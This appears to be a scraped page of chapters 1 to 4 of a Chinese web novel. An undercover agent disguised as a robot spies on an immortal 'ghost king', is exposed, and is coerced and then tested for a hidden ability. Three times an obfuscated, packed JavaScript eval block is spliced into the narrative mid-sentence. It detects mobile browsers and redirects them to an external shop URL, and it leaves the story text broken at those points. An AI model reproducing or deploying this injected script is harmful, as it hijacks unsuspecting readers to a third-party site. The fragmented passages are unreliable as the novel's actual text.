《被迫与鬼王签订契约后》 1. 第 1 章 宋绮梦站在浴室门外,面朝着前方宽阔的卧室,目光机械又呆滞。 好在伪装机器人这件事,才两天不到,于她而言已经算是轻车熟路了。 两天前,她体内安装了芯片,伪装成家居型机器人,前来监视大名鼎鼎的“鬼王”谢然。 此时,正主正在浴室里洗澡,只听到里面传来淅淅沥沥的水声。 她只需要遵守“机器人”的本分,站在这里静等吩咐。 与谢然初次相遇,她其实是有过一番惊艳的。 本以为与多重凶案牵扯不清的鬼王是个头上长角、青面獠牙的怪物,谁知真正的谢然竟然是一个面色白皙、明眸皓齿的年轻男子。 目测身高一米八三,身材么,虽然还没仔细观察过,不过隔着衣服已经很可观了。 真是人不可貌相。宋绮梦把自己对帅哥的憧憬压下去,晃晃脑袋,努力把来之前看的卷宗一条一条默背出来。 琴长生物研究所高级研究专员许墨飞,晚间加班后离奇失踪,至今下落不明; 琴长生物研究所所长郝景瑞、副所长刘长春,在某次晚宴后离奇身亡,死因为止; 金阳大学生物学院教授刘江平,被无人驾驶车撞死,至今未查明原因。 …… 细数这些明里暗里和谢然有关的大案,宋绮梦在心里默念了三遍“他是恶魔”后,躁动的心又恢复了平静。 浴室门开了,一阵好闻的茶花香从氤氲的水雾气中飘散出来,谢然只裹着一件半身浴袍,一边擦着还在滴水的头发,一边沉声唤着:“A07。” 宋绮梦转动身体,发出机械的声音:“请吩咐,主人。” “把浴室收拾了,衣服洗完烘干。” “好的,主人。”不得不喊出这个称呼,宋绮梦无声地诅咒了一句,抬脚向浴室内走去。 淋漓的水滴从谢然发间流出,顺着谢然精雕细琢的胸肌滚落到八块腹肌处,又往更深处滑去。 正是梅雨季,本来就潮乎乎的不舒服,他索性解了浴袍,用干毛巾把身体又擦了一遍。 身后传来僵硬的机械扭动声,他回头一看,见A07正面目呆滞地站在他身后,手里端着他才换下来的衣服。 他让开路,在她从面前经过时,随手把浴袍丢了进去。 自动洗衣机的嗡嗡声响起时,宋绮梦这才面向墙角,迫使自己把心里的惊涛骇浪都压下去。 脸上一丝红润都不能有。 虽然有过心理准备,可当极具冲击力的一幕出现在她面前时,她还是方寸大乱。 美男出浴,也称得上是“玉体横陈”啊。 “组织组织。”实在压抑不住内心的躁动,她冒了险,用感应芯片联系她的上峰闻展辉:“呼叫组织。” 对方还没开口,她就自顾自地吐起了苦水:“他他他不是鬼王吗?怎么那么厚脸皮?洗完澡连个衣服都不穿?” 对面的人只是轻轻笑了几下:“这不是好事吗?说明他根本没有发现你。” 宋绮梦想想,觉得也是。 闻展辉又耐心将“稍安勿躁”“既来之则安之”之类的话术又重复了一遍。 宋绮梦挂断了电话,一边怀疑自己刚才是不是红了脸,一边害怕她会不会流鼻血。 好在她现在是机器人,可以明目张胆地摸鱼偷懒,毕竟机器人在没有接收到指令的情况下,发呆是很正常的。 她对着墙角,直到衣服洗完,才慢吞吞地把衣服拿出去,晒在别墅前院。 踩着皎洁的月光回到二楼,她见谢然的卧室里的灯已经熄了,不禁暗自松了口气。 这第一晚,应该就这么让她混过去了。 虽然机器人不用睡觉,但她可以趁谢然休息的时候,找个没人的角落进入睡眠模式。 虽然不如在床上睡觉舒服,但也能休息一会儿。 她找了半天,瞅准了二楼到三楼的楼梯拐角,这里似乎很少有人来。 竖着耳朵听了半天,没有听到谢然的动静,她这才放下心来,呼叫组织,想把自己的状态调成休眠模式。 可是,一道催命一样的声音自楼下传来:“A07。” 她只愣了一瞬间,那声音就明显不耐烦起来:“A07?” 她慌慌张张地下楼去,在谢然卧室门前站定了:“主人。” 里面传来一声带着困倦的声音:“进来。” 她惴惴不安地推门进去,屋内一片黑暗,温度十分冰冷,隐约辨认出大床上的人形,谢然裹着厚棉被躺在床上,声音沙哑:“过来。” 她上前几步,又停下了。 他想干嘛? “过来。”他又强调了一遍,伸出一只胳膊来拍了拍床边:“站在这里。” 宋绮梦只能答复:“是,主人。” 机器人的设定没有给她任何的选择的余地,她按照指令站在他床边,呆滞的双眸盯住他,直到他沉沉睡去。 即便双眼已经酸涩,她也不敢再贸然调成休眠模式,以免被他发现,还以为机器人出了故障。 不知道过了多久,只听窗外院子里传来蛐蛐儿的叫声,月光明了又暗。 双眼被生理性泪水模糊到视线不清,双腿就像灌了铅一样沉重,双臂酸软,腰背也几乎直不起来。 耳畔除了谢然均匀的呼吸声,只剩下了闻展辉的鼓励:“加油,再忍忍。” 终于熬到了天亮,谢然日常洗漱之后就是自己做饭,吃完后就在四楼书房或者三楼健身房,一待就是一天。 好在白天他没有再丧心病狂地叫她干什么了,她趁机补充了一点能量,设置休眠了一个小时。 又到了晚上。 仿佛有预感,宋绮梦早就躲得远远的,和一楼打扫客厅的机器人混在一起,慢悠悠地扫地、拖地,想要生硬地混过去。 “他不会再让我在床边站一晚上吧?”她悄悄联系组织:“怎么会有人这么变态?他不会是发现我了吧?” “应该不会,只是偶然而已。”闻展辉安慰她:“别怕。” 她一颗心还没放到肚子里,伴随着一声沉稳又笃定的“A07”,她瞬间开始打起了摆子。 又是硬生生在他床边站了一晚上。 第三天白天,眼前的东西都是重影的。 谢然的帅脸在她心里逐渐烂成了一坨泥,她现在看到他就恨不得扑上去咬两口泄愤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198967|197144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 变态果然是变态啊,名副其实。 她不确定自己还能撑多久,也不知道谢然多久才会放过自己。 祈祷了无数回,还是在一如既往的呼唤下,整颗心都凉透了。 “A07。”似乎不满于她的逃避,谢然的声音比前两夜多了一丝愠怒:“过来。” 宋绮梦茫然地放下手中的拖把,下一瞬,她很想把拖把摔在他脸上。 她看起来很像带有什么哄睡服务的机器人吗? 随着谢然的呼吸逐渐均匀,她难耐的精神却更加紧绷——闻展辉联系不上了。 “喂喂喂,辉哥?” 对面没反应。 她又用意念输送,叫着他的职称:“闻处?” 还是没有人回应。 心急如焚,加上身体极度疲惫,难以自控的情况下,她禁不住打了个哈欠。 声音很小,她在张开嘴巴的一瞬间就掩住了口。 心虚地向床上的人看了一眼——他应该没有发现吧? 当务之急,是联系上闻展辉。 当卧底之前说好的,即便是闻展辉在睡觉时,也能准确感应她的呼唤,第一时间做出反应。 难不成,传感芯片出故障了? 越是迷惘之际,越是混乱频生。 床上熟睡的人影似乎动了动,随即,一个令人毛骨悚然的声音传来。 “困了?要不要一起?” 宋绮梦木然地站着,就当刚才的声音完全没听到。 时间仿佛静止了,她几乎不敢看自己的腿——一定有些微微的颤抖。 如果不是这屋里够冷,她的冷汗几乎会第一时间渗出来。 他一定是在说梦话,一定一定。她在心里默默祷告。 下一刻,眼前天旋地转。背部接触到带着谢然体温的床面,她抑制住即将发出的惊呼,一动不动。 一双温热的手顺着她的腰向上游走。 只要她摆出面无表情的样子,体内的芯片就会自从替她掩盖呼吸、脉搏和心跳,让她看上去就像一个不折不扣的机器人。 所以,她忍着灭顶的痒感,硬是一动不动。 可在谢然这里,这一招似乎并不管用。 轻蔑地笑了一声,低沉慵懒的声音传来:“你以为我看不出来?” 手势瞬间凌厉起来,顺着脊背准确无误地捏上她植入芯片的部位,狠狠一掐。 她猝不及防地吐出一口气,随即又被他按住,整个身子翻过来趴在床上,不知道多了什么禁锢,浑身动弹不得。 谢然站起身来,用手机拨出一通电话:“安晓生,速来。” 挂了电话,谢然阴沉的脸不像样子,看着眼前试图挣扎的人,他冷冷警告:“我劝你别再起什么别的心思。” “否则,你会后悔的。” 按压她的手多了几分力气,她被压迫到呼吸有些困难,不得不扬起脖子,略作喘息。 “说,谁派你来的?”身后的谢然不给她任何反应的机会,另一只手按住她的脖颈,只是略微向下一压,窒息的恐慌感遍布全身。 完了,暴露了。这是宋绮梦昏睡过去之前的唯一念头。 2. 第 2 章 她于迷惘中睁开双眼,这一夜似乎睡得很香。 她还未想起昨夜发生了什么,便注意到自己似乎换了一身衣服。 明明昨夜还是冷硬的机器人专属帆布外衣,如今竟换成了柔软丝质的贴身睡衣。 颈后传来一阵酸痛,她试探着伸出手来,却被一股力量拉扯,这才发觉自己双手悬空,被冰冷的手铐禁锢在床头。 心中一阵慌乱,她硬撑着身子坐起来,手腕被拉扯得生疼。 下一瞬,门外传来的动静叫她如临大敌,还没来得及做出防御身姿,“咔嗒”一声,门开了一条缝隙。 面目冷硬、沉默不语的男人走了进来。 见她已经醒了,他倒也不意外,只是顿住脚步,似乎在黑暗中不动声色地打量着她。 遍身生凉,被睡意掩盖的恐惧又卷土重来,宋绮梦只敢绷紧了身子,大气都不敢喘。 外头似乎已经天亮了,门外渗出一道光亮来,正好照在来人脸上,虽眉目俊秀,可在阳光照耀下竟然还是冰冷未消,另人胆寒。 他忽然走上前来,与她双眼只有几寸距离,只盯着看了一瞬,她就被吓到毛骨悚然,下意识想要躲开,又被他攥着两腮抓回来。 确认无误,他又伸出手去,自她后脑细细摸索了几下,像是在探寻着什么。 随后,又沿着脖颈向下,想要触摸到脊背。 “干什么?”她终于忍不住开口,牙齿都有些打颤。 他还是不理会她,自顾自地向下摸索着,她禁不住蜷起身子,放大声音喊道:“别动手动脚……” 话音未落,他的手已经精准触碰到她昨夜留下的伤处,只一瞬间,她就愣在原地。 一种火辣的灼痛自伤处迅速蔓延开来,本来很小的伤口像是又被利刃割开,剧痛瞬间席卷到整个背部,肌肉不自觉地抽搐起来。 她愕然失声,随即,大颗大颗的眼泪溢出来,攥着双拳避开他的手掌,一边深呼吸,一边绷紧了身体。 疼,太疼了。 所有的理智都在一瞬间消散,她脑海中被放大的痛感侵染,顾不得其他想法,只想要尽快从地狱中逃离。 他也愕然,随即又像是反应过来,盯着自己的手看了一瞬,便极快地出去了。 几分钟后,一个年长些的男子脚步匆匆地拎着医药箱进门来,见宋绮梦仍蜷缩在床头,身上的冷汗已将睡衣浸湿了大半,不禁皱起眉头,迅速取出一支杜冷丁。 随着药液推入,痛感缓缓褪去,宋绮梦终于有力气睁开眼睛,看着眼前的男子替她打开手铐。 她顺势倒下来,侧躺在床上,微微喘着气。 “安晓生?”她凭着记忆念出他的名字,这个男人是昨夜替她做取出脊椎芯片手术的人。 她昨夜听到了他的名字。 安晓生皱了皱眉,似乎不愿被她念起名字,但看她奄奄一息的样子,还是开口道:“没事了,你安心休息吧。” “安心?”她像是听到了什么笑话,又是想笑,又是委屈,孩子气一般赌气开口:“麻烦你告诉他,要问什么尽管开口,不要使这些手段。” “还有,要杀要剐尽管来,士可杀不可辱。”说到最后几个字,声音已经微不可闻,她努力压制住哽咽的音调,转身趴在床上不动了。 安晓生紧皱的表情舒缓开来,像是听到了什么笑话,腮边的胡须都禁不住抖了抖。 “……”他想了想,还是没有多做解释,将门关好,拎着医药箱走出来。 外头是客厅的样子,谢然正冷面坐在沙发上不语。他背后是半开放式厨房,隐约看得到锅铲刀具。面前是巨大的电视屏幕和老式钟表,正哒哒发出轻微的指针响声。 “解决了。”安晓生冲他点点头。 “是我忘记了。”良久,谢然开口道:“误伤了她。” 安晓生冲里头扬了扬头:“她托我告诉你,要逼供的话得先把问题问出来,不要乱折磨人。” 谢然藏在阴影中的脸上似乎多了一丝赧然,很快又消失不见。 “话说,你的这双手……”安晓生皱着眉头看了一眼,不经意地向后退了一步:“还是和从前一样?” 谢然把头压得更低了,算是默认。 “哎。”安晓生叹息:“身体长生,总要有别的地方来弥补这种幸运的,有这双‘死神之手’也算不了什么。” “我看她倒是没什么问题。”安晓生看谢然有些低落,将医药箱归位后,换了话题:“一点都不像是经受过专业训练的样子。” “身上也没有别的芯片植入。”谢然补充道。 “送这么个人来,难道真是为了监视你?”安晓生不禁有些迟疑。 “不会那样简单。”谢然分析道:“如果真是为了监视,就不会派一个专业能力这么弱的人来了。” “那不如还是像之前一样,把人丢出去?”安晓生问。 “算了。”谢然略一思索,便做了决定:“反正她也没什么威胁,先观察几天再说吧。” 安晓生走了。 屋内,随着痛感消失,宋绮梦又禁不住睡了一个小时,再睁开眼时,方才的一切都像是噩梦。 她伸出手,勉强摸到脊柱处的微创伤口,不禁有些奇怪,刚才谢然来碰,为什么能使这么小的伤处产生那么大的痛感。 也许是“鬼王”天然有些看不见的神力吧。 她恢复了些力气,挣扎着爬起来,到浴室去收拾了一番,又四处翻找她之前留下来的衣服,竟一件都没找到。 衣柜里的衣服虽好,可她心存忌惮,一件都不想穿。 一边抓着浴巾挡着自己,一边四处找寻,忽然,一道清晰的敲门声打断了她的动作。 “出来吃饭。”冷硬的声音,一听就是谢然发出的。 她这才意识到他还在外面不远处,危机感爆棚,随手抓了一件到小腿处的长裙套在身上。 衣裙是现下最流行的自动调节款式,随着轻微的震动,丝质长裙缓缓收缩,完美契合她的身材。 回头看了一眼门,她又觉得害怕——吃饭?吃什么饭,难不成是断头饭? 毕竟她被揭穿身份后,眼下两人似乎应该是不死不休的关系,她应该算是他的……俘虏? 下意识地想要联系闻展辉,可脑海中寂然一片,她这才想起来,她体内的芯片已经全部被取出了。 而闻展辉也已经在昨夜也失去了联系。 不禁想起几天前,她受人类保护组织差遣的情景历历在目,没想到还没过三天就暴露了。 想到这里,她不禁有些难为情,组织派的第一个任务,就被她这样轻而易举地搞砸了。 可是,事情似乎也怪不到她,她入职人类保护组织才十来天,连正规的训练都没经历过。 事情的起因,是在某一天清晨,她忽然被人事部的处长闻展辉喊去,温言软语中,就签订了这份外派工作的保密协议。 “鬼王?”她有些迟疑,对着闻展辉问道:“听起来很危险的样子,闻处,我这个身手,就连一般的鬼都没交过手,能去吗?” “恰恰是你这样没经历过训练的新人,更容易胜任这个任务。”闻展辉喝了一口手中的美式咖啡,狡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198968|197144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黠地冲她笑笑:“卧底嘛,当然是越自然越好。” 向她递过来一份厚厚的资料,闻展辉示意她坐下。 “你可以先看看,不急,还有时间好好考虑。” 宋绮梦翻开了资料。 姓名:谢然 性别:男 年龄:不祥(据知情人士透露,他的实际年龄已有将近200岁) 出生地:青琦市(现J区B市) 能力:长生,控鬼,灵魂可拆卸 专业:生物化学与分子生物学 学历:硕士 生平:不详 宋绮梦被其中的几个字吸引了,禁不住轻声念道:“灵魂可拆卸?” 这是什么意思?就像可拆卸电池一样,能从身体里拿出来? “是不是很奇妙?”闻展辉笑了笑:“能控鬼,灵魂还能抽离身体而不受生死影响,这可是一大奇闻。” 确实,自从一百多年前,灵魂和异能的存在被科学家所证实后,在层出不穷的新奇新闻中,谢然的能力也是闻所未闻的。 “我们为什么要去监视他?”宋绮梦不解,她继续往后翻看了几页,又住了口。 几张打印出来的几十年前的电子新闻,内容趋同,都是琴长生物研究所的高级研究员神秘失踪或死亡的新闻。 这几个人,或多或少都与谢然有过接触。 “他们的死亡方式也很特别。”闻展辉站起身来,抖了抖西装外套上压出的皱褶:“几乎都是没有外伤,没有疾病,没有中毒,看起来很安详,像是灵魂骤然离体一样。” “可当时的警方并没有找到证据,只好把这些统统记录下来。” “再后来,警局被合并到组织的刑侦部里,上面领导对这个案子产生了兴趣。” “他被人称作鬼王,年龄和超能力也是推测,如果这几桩凶案真是他做出的,那么,我们有理由怀疑他可能会继续犯罪,而且,他的超能力非常恐怖。” 宋绮梦点点头,她理解。 自从灵魂和异能等元素被认证存在后,加上愈加恶劣的生态环境,人类的生存空间岌岌可危,因此,人类保护组织应召而生,用于保护剩余人类,延续生命火种。 她从小就受到这样的教育,一直梦想着也能加入进去,成为其中一员。 这么说来,如果鬼王谢然真的有嫌疑,那他对人类的危险性不容小觑。 “我同意去。”她怀揣着一腔热忱,在保密协议和任务通知书上签下了自己的名字,按了手印。 …… 思绪回到当下,门上又传来几下略重一些的敲门声:“听见了没?” 她抖了抖,深吸了一口气,随即又平复下来。 肚子适时响起“咕噜噜”的响声,她闭上眼睛向前迈了一步,视死如归般打开了门。 怕什么,就算是断头饭,也要做个饱死鬼。 没想到谢然就紧贴在门外,她一打开门,正巧撞上他高大的身影,笼罩在他的阴影下,瞬间怂了。 她迅速低下头,不小心顺着他深灰色的短袖看到休闲裤,又到脚上的拖鞋,倒像是把他全身看了个遍。 她禁不住想起来,第一天晚上他在浴室洗完澡出来,旁若无人地解开浴巾擦拭身体。 那时候她就在旁边,他的身材一览无遗。 回想起那个香艳的画面,她还是忍不住有些心猿意马。 右手狠狠地在大腿上掐了一下,她在心里疯狂告诫自己:“都什么时候了还在想这个!” 勉强将面上泛起的红晕压下去,她努力保持面无表情。 3. 第 3 章 回过神来,她抬眼看去,见谢然脸上多了几分不解,顺着她的目光将自己浑身上下打量了一遍。 “怎么了?”他最终还是皱着眉头发问。 “没……没事。”她看了一眼他手上空无一物:“不是说要吃饭?” 他闪身离开,只留下一句冰凉的话:“出来吃。” 原来是这样,她还以为自己被关了禁闭,每天只能在那间小卧室里吃饭呢。 迈出门去,外头客厅和餐厅的布置是她没有见过的,许是这别墅中的随意一间罢了。开放式餐厅旁边有一张长桌,正中间摆了两份一模一样的饭,都是三明治,热牛奶,外加一份煎蛋。 谢然已经坐在其中一侧,见她迟迟不过来,向这边瞥了一眼。 她本不想与他面对面用餐,但如今也不敢违拗,只得迈着沉重的脚步走上前去,小心翼翼地坐了下来。 明明已经是中午,可饭菜倒像是早餐。 罢了,如今她没有半点挑剔的权利,低下头喝了一口热牛奶——居然是放了糖的。 “抱歉。”对面谢然骤然发出的声音吓了她一跳,还以为听错了,带着惊疑的表情看回去,没想到真的是谢然在讲话。 “刚才弄疼了你,抱歉,我不是有意的。” 他的表情严肃,但话语却很轻柔,这还是宋绮梦第一次听到他一口气说这么长的句子。 随即,不愿想起的记忆又一次席卷心头,她禁不住暗中咬了咬牙——那么痛的效果,说他不是故意的,谁信呢。 难堪的沉默中,她拿起三明治狠狠咬了一口,准备吃饱喝足之后继续面对他的逼问。 很明显,他是见硬的不行,准备换一副柔和的面孔来软的了。 风卷残云一般将面前的东西吃完,她拿了一张餐巾纸擦擦嘴,这才坐直了身子,摆出一副天不怕地不怕的架势来,看着正慢条斯理用餐的谢然,理直气壮地问道:“你到底……” 谢然身子一僵,像是被她吓了一跳,抬起眼皮来瞧着她,她瞬间又丧失了勇气。 算了算了,他这个鬼王神通广大,她又何必特意去对着干,还不知道组织什么时候来救她,她可不想在这里白白讨苦头吃。 硬话瞬间被压下去,她勉强从喉咙中间挤出几个字来:“鬼……王大人……” 谢然皱着眉头喝了一口牛奶,喉结上下耸动,随后,无奈道:“我不姓王。” ???宋绮梦感到自己头上冒出来几个大大的问号,再怎么也没想到他会这样断句。 “谢大人。”她当机立断,马上改口。 谢然发出一声轻微的叹息,不再理她,而是加快速度喝完了最后一口牛奶,站起身来打了个响指。 一个身形灵活的机器人女佣走上前来,收去了桌上的餐盘,另一个女佣站在水池边开始洗碗。 淅淅沥沥的水声掩盖了小声说话的机会,眼看着谢然站起身向外走去,宋绮梦不想放过这个交流的机会,马上站起身来,跟上他的身影。 “谢大人,谢大人!”她在他背后喊。 谢然脚步不停,她迈着小碎步追,他停步回身,她险些撞到他胸膛上。 ……好硬,他在偷偷凹什么造型? “什么事?”谢然冷峻的眼神望过来。 不知怎么回事,想要同他好好谈一谈、劝他放她走的话一句都说不出来了。 “机器人能到的地方,你都可以去。”谢然开口道:“只不过不能出这幢别墅。” 见她犹豫着不开口,他又追问:“明白了?” 没等她点头,他就如同一阵风一样消失在门外,根本没给她继续纠缠的机会。 宋绮梦怔怔地站在原地,想了一会儿,还是没敢像谢然说的一样四处走动,只悄悄地又回到了方才的卧室里。 打开窗帘,外头正是谢然的别墅后院,除了几道碎石堆成的小径,四处都是茂密的植物,宋绮梦看过去,似乎有青菜、豆角,还有西瓜地,更多的是她叫不出名字的菜。 如今农业都是集中机械化管理,这种“落伍”的农家小院,许久没有看到过了。 别墅从前头看过去,与当今的建筑风格没什么差异,但是这后院一旦呈现在面前,就多了几分古旧的味道。 宋绮梦看了半晌,禁不住在心中嘀咕了一句:“也不知道他是怎么打理的,忙得过来吗?” 难道那一身肌肉,都是种地种出来的? 与此同时,四楼的书房中,一整面墙都是古旧的书籍和资料,落地窗前有一个办公桌,桌上摆放着热茶与几本书籍,谢然站在桌边,右手微微敲着桌面,左手拿了一个手机,在与人谈着什么。 往常没人在他身边,他都是穿家居服,今天难得套了一身运动装,说实话,有些不习惯。 但宽大的运动装并不能掩盖他修长的身形和锻炼过后挺拔的身姿,他只是随意地站着,已经足够吸睛了。 对电话那头的声音有些不耐烦,才要挂断,对面人用愈加急迫的声音又追加了几句,想来是至关重要的条件。 悬在挂断键上方的手指顿住了。 “什么?”他似是不信,简短问道:“怎么证明?” 对面人见有戏,又放缓声音解释了一遭。 谢然冷哼一声,还是有些不屑:“为什么不培养好了再送来?” 那边又用哀求的声音讲了几句,谢然彻底不耐烦起来:“行了,挂了。” 书房中安静下来,他右手将桌上的茶杯端起来,喝了一口,茶叶的清香淡淡冲击着味蕾,他看着窗外的别墅前院和更远处空旷一片的田野,似乎在思忖着方才那人的话是否可信。 良久,又将茶杯放下来,叹息声微不可查。 常年的静默和严肃,使他早就习惯了眉目锋利,凛冽的气质如同冷硬的面具一般焊在脸上,只有他一个人时,他才会偶尔卸下防备,用放松的神情远眺一会儿。 其实,他保留着25岁左右的容貌,面色白皙,五官俊秀,甚至身材也是高大挺拔,只是这股陈年的气质显得生人勿近。 他喝干了杯中的茶,转头到二楼来,进了其中一间,径直穿过客厅,到卧室外,敲了敲门。 里头的人发出一阵手忙脚乱的声音,踢踏着鞋子来开门。 谢然不动声色地看过去,眼前的人睁着无辜的双眼与他四目相对。 她是那种一眼就能被看透的类型,天真无邪、初出茅庐,雪白到像一张没留下任何痕迹的打印纸。 怎么都看不出一个合格卧底的样子。 但从她手上缴获的通讯手表上查到她的部分身份信息,的确是人类保护组织没错。 “谢大人?”宋绮梦被看得浑身不自在,轻声开口,试图打断他的目光。 他面无表情地开口:“叫我谢然就行。”随后腾出一道空隙,示意她随着出来。 带着她走到客厅,他简短地命令道:“就站在这里。” 她停下脚步,茫然看过来。 “背过身去。”他吩咐道。 她僵住了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198969|197144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上午被他弄疼的伤处仿佛又开始隐隐作痛,巨大的恐惧感袭来,她只能深吸一口气,又攥紧了双拳。 “快点。”他催促。 “我……”眼中难以控制地生出泪意来,她咬了咬下唇,轻声哀求道:“鬼王大人,我错了,我以后再也不敢瞒着你做卧底了,您能不能大人有大量……” 谢然倒愣了一下,颇有些无奈,只得解释道:“只不过是做个测试,不会伤到你。” 见她睁着泪眼无动于衷,他面色阴冷下来:“别让我说第二遍。” 她只好缓缓转动僵直的身躯背过身去,面对着白色墙面,只敢盯着墙上阳光渗透的跳跃斑点,竭力不让泪水淌下来。 呼吸都是断断续续的,等了一会儿,他的脚步声逐渐远去,离她约有三五米的距离,随即,他的声音传来:“我手上现在拿的是什么?” 她以为自己听错了,下意识地想要回头去看,又被他严令禁止:“不要回头。” 她用很快的思考推理出一个荒谬的结论——他是在测试她背后有没有长眼睛。 昨天晚上被他识破身份的时候,安晓生不是已经把她体内的芯片取出了么?为什么这时候又要来测试她一遍? 她不敢再多犹豫,只得如实回答:“我不知道。” 又是一阵窸窸窣窣的声音:“现在呢?” “不知道。” “我现在站在什么位置?” 听声音像是在餐厅旁边,她犹豫着猜测:“水池旁边?” 许久没有动静,她仍站在原地大气不敢出,不确定他是不是出门去了。 又过了一会儿,紧绷已久的精神不自觉地放松下来,她紧握的双拳松开,悄悄转了转有些酸软的脖颈,叹息一声。 也罢,谁叫她出师未捷,沦落到这个地步,无论他要怎样,都只好任他摆布了。 时间一分一秒地过去,她不禁有些笃定他应当是真的走了,才试探着将头扭转了三十度,便骤然听到一个冷冰冰的声音紧贴着她的背后传来:“你真的感受不到我?” “啊啊啊啊!”猝不及防的宋绮梦被吓到惊叫起来,她一个激灵,从他的身体和墙壁中闪身出来,回头惊疑不定地望着谢然。 这距离太近了,她几乎能感受到他身上的体温,这个变态到底想干什么! 她虽然也曾对谢然的美色动心过,可这样也太突然了。 此时的谢然面色阴晴不定,像是看到测试结果不满意的老师面对着学生。 抓住她的手腕,不由分说地拽住她来到二楼另一间起居室,那里面的布置与她住的这间如出一辙。 桌上备好了一个纸箱,谢然走上前,左手仍抓着她的手腕,右手插进纸箱中去,晃动了两下,问:“你猜我手上拿的是什么颜色的球?” 不是这个世界疯了,就是谢然出了问题,宋绮梦十分绝望地想道。 “一共有红黄绿三色球,你来猜猜看。”谢然尽量放缓了声音说。 “绿色。”宋绮梦勉强平复了心情,随口说道。 谢然将球从箱子里拿出来,是个黄球。 “再猜。”手又伸了回去。 “……红色。” “再猜。” 虽有一两次猜中了,可不过是最平常的概率性猜对,根本没有半点惊喜。 谢然面色愈发阴沉下来,他扭过头来,用审视的目光上下打量了宋绮梦许久。 难道说他们是在骗人?她身上可没有半点关于预测的超能力显露出来。 4. 第 4 章 也许是他太严苛了,他想。 他随手拿了一个硬币过来。 “猜正反。”他说。 宋绮梦确信无疑,眼前的鬼王谢然一定是出于某种原因——大概率是长期独居导致了间歇性精神疾病发作。 也有可能是此前赌博输光了家底,现在还心有余悸,时刻想要培养第六感灵敏的接班人。 她不敢违拗,一边悄悄向后远离几步,一边不得不根据谢然的提示做出猜测。 “正。”“反。”“反。”“正。” …… 她快吐了。 谢然终于停下了抛硬币的动作,他随手将硬币放在桌上,转身向她走来。 几乎被他逼到墙角,她下意识地伸出双臂挡在自己身前,狼狈又害怕。 “说,到底还有什么条件。”谢然此刻已经全然失了冷静,扭曲的面色中掺杂了太多情绪:恼恨,无奈,疑问和不甘。 见她露出和之前一样无辜的神色来,他冷笑一声。 “你到底还要演多久?”他完全无法再忍下去,索性一手按住她的肩,一手绕到她身后去,压低了声音,充满了威胁意味:“难道你想再尝尝伤口发痛的滋味?” 脑海里“轰”的一声,宋绮梦呆了一瞬,随即反应过来,一边向墙角缩去,一边带着哭腔喊出声来:“别,不要——” “我说我说,我都说!”她用双手阻挡住谢然的右手臂,喘息片刻,用颤抖的声音,逐字逐句地将自己为何到这里做卧底说了一遍。 谢然听完,神情略有松动,可还是不信:“就这些?” 宋绮梦牙齿都在打颤,她点点头,话都说不囫囵:“就……就这些。” 谢然的目光几乎要将她穿透,分析了许久,没个所以然,他知道再逼问下去也不一定有什么结果,终于松开了手。 看着宋绮梦慌不择路地逃回卧室,谢然拿出手机,拨通了刚才的号码。 “嗯,试验过了。”他的语气轻描淡写,但一听就暗含怒气:“和你说的完全相反。” “谢先生,我向您保证,她的确有些异能在身上,我之前拿到了她进组织面试的一手视频资料,我马上发给您。” 听着对方慌乱的声音解释过后,谢然挂断了电话。 手机接连响起几个提示音,谢然点开,他果然接收到了好几段视频。 人保组织的面试不可谓不严苛,历年来有无数能人想进去工作,都被拒之门外,谢然心中也暗暗产生过疑问:为何宋绮梦看上去平平无奇,却能进去? 信息还在大段大段地发过来:“想必谢先生您也知道,组织考核程序很严格,分为笔试、面试和实操三个环节,笔试占比最低,只有15%,面试20%,实操占到65%。其中,实操又分为体能测试、攻击测试、真实模拟演练和其他测试。” “宋小姐的笔试分数很优秀,几乎是满分,但她面试几乎为0分,实操中的体能、攻击和真实模拟也都很低,唯独在其他测试中,展露了独特的能力,因此才被破格录取。” 这个其他测试,其实也算是一场大型的面试,被考核者可以随意说出自己印象深刻的小事,再根据面试官的安排进行随机测试。 曾有一位看上去自理都成问题的口吃男孩,因为能感受到魂灵的存在,并且能与魂灵进行简单交流,从而破格进入了组织。 谢然点开其中一段视频,宋绮梦头戴射击防护具,在真实模拟演练中参加射击考核。 小枪还好,到稍大型的激光枪械时,因为身形偏瘦,明显有些力不从心,好几次都射偏了。 谢然又点开另一段视频,正是其他测试中的场景,宋绮梦说,她学习能力很强,于是面试官现场给了她一段文字,要求她三分钟内快速记忆,这一点她完成得很好。 后面几分钟,分别是抗压能力、精神力等,谢然一一快进过,直接来到了最后一段。 “从小到大,同学们都说我运气不错。”宋绮梦想到最后,才终于又挤出了一个“优点”。 “哦?具体表现在哪里?”面试官问。 “抽奖得奖率很高。”宋绮梦又补充道:“还有,买盲盒的爆率也很好。” 